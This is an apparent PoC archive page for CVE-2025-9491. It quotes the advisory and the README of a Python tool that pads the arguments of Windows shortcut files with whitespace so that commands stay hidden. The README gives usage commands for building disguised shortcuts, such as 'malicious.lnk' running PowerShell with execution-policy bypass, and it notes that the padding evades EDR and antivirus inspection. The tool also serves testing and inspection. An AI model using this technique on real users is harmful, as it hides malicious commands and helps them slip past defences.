Associated Vulnerability
Title:Microsoft Windows LNK File UI Misrepresentation Remote Code Execution Vulnerability (CVE-2025-9491)Description:Microsoft Windows LNK File UI Misrepresentation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Microsoft Windows. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of .LNK files. Crafted data in an .LNK file can cause hazardous content in the file to be invisible to a user who inspects the file via the Windows-provided user interface. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-25373.
Description
Proof-of-Concept of the CVE-2025-9491 using invisible characters in the arguments of a Windows shortcut file (.lnk)
Readme
# CVE-2025-9491 LNK Obfuscation PoC
A proof-of-concept tool for demonstrating the Windows Shortcut (LNK) file vulnerability (ZDI-CAN-25373/CVE-2025-9491). This tool showcases how malicious command-line arguments can be hidden within `.lnk` files by leveraging whitespace character padding.
**This tool is provided **for educational and authorized security testing purposes only**. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.
---
## Table of Contents
- [Description](#description)
- [Vulnerability Details](#vulnerability-details)
- [Installation](#installation)
- [Usage](#usage)
- [Create Mode](#create-mode)
- [Obfuscate Mode](#obfuscate-mode)
- [Parse Mode](#parse-mode)
- [Credits](#credits)
---
## Description
This is a proof-of-concept tool for creating and manipulating Windows `.lnk` (shortcut) files to demonstrate the CVE-2025-9491 vulnerability. The tool allows users to:
1. **Create** new obfuscated LNK files from scratch
2. **Obfuscate** existing LNK files by adding padding to their arguments
3. **Parse** LNK files to inspect their contents
The vulnerability exploits how Windows displays shortcut file properties, allowing attackers to hide malicious command-line arguments from users who inspect the shortcut.
---
## Vulnerability Details
CVE-2025-9491 is a Windows UI misrepresentation vulnerability affecting `.lnk` (shortcut) files. It was discovered by Trend Micro's Zero Day Initiative (ZDI-CAN-25373) and has been exploited by state-sponsored APT groups since at least 2017 (check the [Credits](#credits) for aditionnal details about it).
The vulnerability exploits the fixed-size "Target" field of the Windows shortcut UI. By padding the arguments with whitespace characters (space, tab, line feed, carriage return), a malicious actor can: hide malicious commands and execute hidden payloads. This can also be used to evade detection, as users inspecting the shortcut see only the padded whitespace, not the real command, EDR will have an extremly long commandline in the telemetry, and if long enough, common EPP or AV will give up reading it all.
---
## Installation
Python 3.7 or higher is required.
1. **Clone or download the repository:**
```bash
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
```
2. **Install dependencies:**
```bash
Quick and dirty way, venv is prefered.
pip install -r requirements.txt
```
3. **Run the tool:**
```bash
python main.py --help
```
---
## Usage
The tool has three main modes: `create`, `obfuscate`, and `parse`.
### Create Mode
Create a new obfuscated LNK file from scratch.
**Syntax:**
```bash
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
```
**Required Arguments:**
- `-t, --target` - Path to the target executable file
- `-a, --arguments` - Arguments to pass to the target executable
- `-o, --output` - Output LNK file destination
**Optional Arguments:**
- `-c, --charset` - Custom charset for padding (HEX format)
- **Default:** `20,09,0A,0B,0C,0D` (space, tab, LF, VT, FF, CR)
- **Format:** Comma-separated HEX values (no 0x prefix)
- `-s, --padding_size` - Number of padding characters
- **Default:** `128` (no limit known)
- **Type:** Integer
- `-p, --pattern_type` - Padding pattern style
- **1 (default):** Random pattern - Uses random selection from charset
- **2:** Mono pattern - Repeats the first charset element
- **3:** Cycling pattern - Cycles through charset elements
- `-i, --icon` - Path to custom icon for the shortcut
- **Default:** None (uses default icon)
- `-d, --description` - Visible description for the shortcut
- **Default:** None
- `-v, --verbose` - Enable verbose output
- **Default:** Disabled
**Example:**
```bash
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
```
---
### Obfuscate Mode
Add padding to an existing LNK file's arguments.
**Syntax:**
```bash
python main.py obfuscate -i INPUT -o OUTPUT [options]
```
**Required Arguments:**
- `-i, --input` - Path to the existing LNK file to obfuscate
- `-o, --output` - Output LNK file destination
**Optional Arguments:**
- `-c, --charset` - Custom charset for padding (HEX format)
- **Default:** `20,09,0A,0B,0C,0D`
- **Format:** Comma-separated HEX values
- `-s, --padding_size` - Number of padding characters
- **Default:** `128`
- **Type:** Integer
- `-p, --pattern_type` - Padding pattern style
- **1 (default):** Random pattern
- **2:** Mono pattern
- **3:** Cycling pattern
- `-v, --verbose` - Enable verbose output
- Shows file loading, padding generation, and save operations
**Example:**
```bash
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
```
---
### Parse Mode
Display the contents of an existing LNK file.
**Syntax:**
```bash
python main.py parse -i INPUT
```
**Required Arguments:**
- `-i, --input` - Path to the LNK file to parse and display
**Example:**
```bash
python main.py parse -i output.lnk
```
---
## Examples
### Example 1: Create a Simple Obfuscated Shortcut
```bash
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
```
This creates a shortcut to `cmd.exe` with hidden PowerShell command preceded by 200 random padding characters.
### Example 2: Obfuscate an Existing Shortcut
```bash
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
```
This adds 512 characters of mono-pattern padding (using space and tab) to an existing shortcut.
### Example 3: Inspect an LNK File
```bash
python main.py parse -i "suspicious.lnk"
```
Output shows all properties including hidden arguments.
### Example 4: Custom Charset Pattern
```bash
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"
```
---
## Credits
- **Vulnerability Discovery:** Trend Micro Zero Day Initiative [ZDI-CAN-25373](https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
- **pylnk3 Library:** [Strayge and contributors](https://github.com/strayge/pylnk)
- **Original pylnk Library:** [tim-erwin](https://sourceforge.net/projects/pylnk/)
File Snapshot
[4.0K] /data/pocs/7deb7dc60ed0631b27d0d5bdd141441370ed70bb
├── [9.4K] main.py
├── [6.3K] README.md
└── [ 14] requirements.txt
1 directory, 3 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →